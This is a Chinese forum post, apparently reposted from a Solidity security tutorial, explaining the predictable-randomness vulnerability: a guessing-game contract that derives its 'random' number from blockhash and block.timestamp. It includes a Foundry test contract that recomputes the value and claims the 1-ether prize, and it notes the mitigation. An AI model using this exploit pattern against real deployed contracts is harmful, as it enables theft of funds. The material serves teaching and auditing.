区块链安全常见的攻击分析——可预测随机数漏洞 (Predictable Randomness V ...

打印 上一主题 下一主题

主题 809|帖子 809|积分 2427

重点:区块链上的全局变量(如区块哈希、区块号、区块时间戳等)都是可预测的,若以它们为底子天生随机数,攻击者可以通过计算获取随机数的结果。
1.1 漏洞分析



  • 只需要知道合约在摆设的时候区块number和时间戳就可以求出这个随机数

1.2 漏洞合约

  1. // SPDX-License-Identifier: MIT
  2. pragma solidity ^0.8.18;
  3. import "forge-std/Test.sol";
  4. /*
  5. 名称: 可预测随机数漏洞 (Predictable Randomness Vulnerability)
  6. 描述:
  7. 使用区块哈希、区块号、区块时间戳等全局变量是不安全的,
  8. 因为矿工或攻击者可以操控这些变量。
  9. 场景:
  10. GuessTheRandomNumber 是一个游戏,如果你能猜中伪随机数,你将赢得 1 Ether。
  11. 伪随机数是通过区块哈希和时间戳生成的。
  12. 乍一看,似乎不可能猜中正确的数字。
  13. 但我们来看一下如何轻松获胜。
  14. 1. Alice 部署 GuessTheRandomNumber 合约并存入 1 Ether
  15. 2. Eve 部署攻击合约 Attack
  16. 3. Eve 调用 Attack.attack() 并赢得 1 Ether
  17. 发生了什么?
  18. 攻击者通过简单地复制生成随机数的代码,计算出正确答案。
  19. 缓解措施:
  20. 不要使用 blockhash 和 block.timestamp 作为随机数的来源。
  21. 参考:
  22. https://solidity-by-example.org/hacks/randomness/
  23. */
  24. contract GuessTheRandomNumber {
  25.     constructor() payable {}
  26.     function guess(uint _guess) public {
  27.         uint answer = uint(
  28.             keccak256(
  29.                 abi.encodePacked(blockhash(block.number - 1), block.timestamp)
  30.             )
  31.         );
  32.         console.log("GuessTheRandomNumber-guess()-answer:", answer);
  33.         if (_guess == answer) {
  34.             (bool sent, ) = msg.sender.call{value: 1 ether}("");
  35.             require(sent, "Failed to send Ether");
  36.         }
  37.     }
  38. }
复制代码
1.3 攻击分析


  • 直接接纳同样的代码获取即可

  • 由于猜对后会返回发送的币,以是要注意需要加上receive()接收函数


1.4 攻击合约

  1. // SPDX-License-Identifier: MIT
  2. pragma solidity ^0.8.18;
  3. import "forge-std/Test.sol";
  4. import "./Randomness.sol";
  5. contract ContractTest is Test {
  6.     GuessTheRandomNumber GuessRandomContract;
  7.     address Koko;
  8.     address Aquarius;
  9.     function setUp() public {
  10.         Koko = vm.addr(1);
  11.         Aquarius = vm.addr(2);
  12.         vm.deal(address(Koko), 1 ether);
  13.         vm.deal(address(Aquarius), 1 ether);
  14.         vm.prank(Koko);
  15.         GuessRandomContract = new GuessTheRandomNumber{value: 1 ether}();
  16.         console.log("Randomness_Attack-setUp()");
  17.     }
  18.     function testRandomness() public {
  19.         uint guessAnswer = uint(
  20.             keccak256(
  21.                 abi.encodePacked(blockhash(block.number - 1), block.timestamp)
  22.             )
  23.         );
  24.         console.log("  Test-testRandomness()-guessAnswer:", guessAnswer);
  25.         GuessRandomContract.guess(guessAnswer);
  26.     }
  27.     receive() external payable {}
  28. }
复制代码
1.5 在sepolia测试网复现Randomness随机数攻击


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

光之使者

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表